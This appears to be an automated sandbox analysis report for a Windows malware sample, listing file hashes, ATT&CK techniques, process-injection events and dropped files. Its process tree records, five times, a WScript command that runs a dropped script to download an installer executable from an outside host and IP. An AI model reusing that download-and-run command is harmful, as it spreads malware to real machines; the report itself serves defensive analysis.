43c8fbb029832e8a6fb3a2388734a8c437d8a0ae9d94610861a00b8416dbe5d1

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
11-05-2024 12:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe
Size

184KB
MD5

34801221c637f0041d719f3895f4c1f5
SHA1

b6e54032b6ff5a60bdf1e68fd8a939f8c848db2e
SHA256

43c8fbb029832e8a6fb3a2388734a8c437d8a0ae9d94610861a00b8416dbe5d1
SHA512

04b3d309e387d9f3c5d45051272b9ab616b48cb18409107e5db74a8dd44817297e8c2e3e24d4f0599933b9a21a6701a91f20c32a0569bf28d5f320f63de2697e
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3M:/7BSH8zUB+nGESaaRvoB7FJNndnl

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow	pid	process
6	2760	WScript.exe
8	2760	WScript.exe
10	2760	WScript.exe
12	2436	WScript.exe
13	2436	WScript.exe
15	2676	WScript.exe
16	2676	WScript.exe
19	1004	WScript.exe
21	1004	WScript.exe
23	2268	WScript.exe
24	2268	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe

description	pid	process	target process
PID 1612 wrote to memory of 2760	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2760	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2760	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2760	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2436	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2436	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2436	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2436	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2676	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2676	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2676	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2676	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 1004	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 1004	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 1004	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 1004	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2268	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2268	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2268	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe
PID 1612 wrote to memory of 2268	1612	34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\34801221c637f0041d719f3895f4c1f5_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf982.js" http://www.djapp.info/?domain=WqarbEQoWh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf982.exe
2⤵
- Blocklisted process makes network request
PID:2760

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf982.js" http://www.djapp.info/?domain=WqarbEQoWh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf982.exe
2⤵
- Blocklisted process makes network request
PID:2436

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf982.js" http://www.djapp.info/?domain=WqarbEQoWh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf982.exe
2⤵
- Blocklisted process makes network request
PID:2676

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf982.js" http://www.djapp.info/?domain=WqarbEQoWh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf982.exe
2⤵
- Blocklisted process makes network request
PID:1004

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf982.js" http://www.djapp.info/?domain=WqarbEQoWh.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf982.exe
2⤵
- Blocklisted process makes network request
PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
1KB

MD5
2a8fa256ce6a53132c6e1887aec2dd90

SHA1
3c3712696c81ffbf3f78767fa642115336718db0

SHA256
4372b48ab69f94556f8124623513fe956790e5250372c13577d51de0a309a2a6

SHA512
86c1a4da1b625219443ffa86cf04f4fa477746d0f1ff2de1c8c8605fcb4eed09b9aa3a7e7a64c8ad59c50b2a65bf25d5ef493bf9b06726ecb83aa9519ef9f11b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
410B

MD5
21c10abdc6365928ccd2a14b70b7a39d

SHA1
3579474f384851ac14b64caddc4ec179295e65d2

SHA256
15973dea00f59c581bc0aac554c09479c22e16798dacaa08665b96226f19f89f

SHA512
8035ee311f61e708971eb923733c7c0eabdfa3a546ff71a34e2627471bd07e91af45ffec77260719b86891afcfec4147e771e5908ba4f8070febee19e458079f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
49bb0878f70e66b073644758b421c752

SHA1
b41327737c2900179192dd0efcbe2b4894530871

SHA256
51e3d1bcd90dafeea757bd841e6a6b2f77e7a915804977a6e4fbaeea72ee4f75

SHA512
fda536f41974cc005818509e7f78ab4cf8fb2bd2c0b742f4967fb232d3ce9eac56cd3c8e113df14a3944670ad9c5210688cb4a4a85704e41a96643c7c2801239

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
392B

MD5
b8d9cae976f4a409eb3fd801aa1c7b81

SHA1
b4bfe5460f20e2b30ba8851553a827502d4819c3

SHA256
65edf3402fb429c2a6f9d19c0776fe3d652f8c1c8c9ea7f9259bb7a5a242b68e

SHA512
f719aa5c5c1a7bf9769ede145adc9129f20352d735e8afdaebcf8539914ab055342f2567fac7612e83f1635199fb025f6aa4ba2b56858301e25f6195ece22d24

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IO0LJX84\domain_profile[1].htm
Filesize
40KB

MD5
d9e7694265fc052eb77a53e4e2ab217e

SHA1
7b3bd0be6b5cd518151f7267bd2b04448ac518d2

SHA256
f97e01c1eedc460af8e9e91287a472f2cc92bbc58d4f95322840897d433abd5b

SHA512
28a7c4974ac3a6656769e62fac372d88bdadfa324fcc752db8099c4fa6a650330a5170ae0bf597b7867eb72e9256e8c711e22e4125a9ebc2400fcb1ed5369f32

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\IO0LJX84\domain_profile[1].htm
Filesize
6KB

MD5
63c4d2ec0c4734a579132fad8fe21303

SHA1
f0de2b387dfac59fc1e1818a427c06c73d811772

SHA256
31157580f9d83988406592d27d1a3257593c6195569db060de4492029f394b2f

SHA512
8cfc41747a3dea2e4cda369f1474d061aa24adf18a1fecb29e73aa0ee428d0514846e0d277bb18c8565f807add6add46328701d0d39931e30f8a261eeb8780fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SVBQZB4R\domain_profile[1].htm
Filesize
6KB

MD5
9d09a3a983e1c38a9960493a5a82fd62

SHA1
51a4ab56459a0f23f4f726a50ea4d9dd09fcb140

SHA256
20adf84d3f879948fd6436791566a1baf211eac5c0d9492b6c239144b649afbf

SHA512
1e1cc21aaf0c24a34b66ea86d25672c50c38286cdedf9dd259981d0cc1b545dab9d4dfd4bb50735d63f83630f59a5fc19e41591bd2dd72fd9b7b22f6b7e68c2d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\SVBQZB4R\domain_profile[1].htm
Filesize
40KB

MD5
d64ea4e4e0d4f82c1de6defa3d9614fa

SHA1
9ed435694b886fe4d1c2738e524ee2ac406f6bfc

SHA256
52bb9f1e5cb36a3599c6796dfe3ae6dc0957df9a5d6daaf7d4bf6344ae64f528

SHA512
cec27d4b921bc70c79f6ad29a8be0f41d533ed8522695ee4f57cffe5aa31240f01354a5c4de54d44fe3cfe3297a48671d621bc5ba5118323785337e7a829d220

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab38AD.tmp
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar510E.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf982.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\8E3JN8LV.txt
Filesize
177B

MD5
ed4d4bfddc4b658ebb2a920849ae7480

SHA1
10061dcd0bd74bae6542b1a40815ad29c1097eab

SHA256
73f957728cafa457e781e9a5f627a98049a5a5eb156e7cbe229b4c9cd6df6dcc

SHA512
84a40c3e82048bcbc4cbd349959622b9f868da0d4fa7b6fe3ac610715023a4fd068c1c7dceab37e3c2a8e607fabd7b27ccc4722fbdb6a94a55a6366e2cbf7634

Download Submit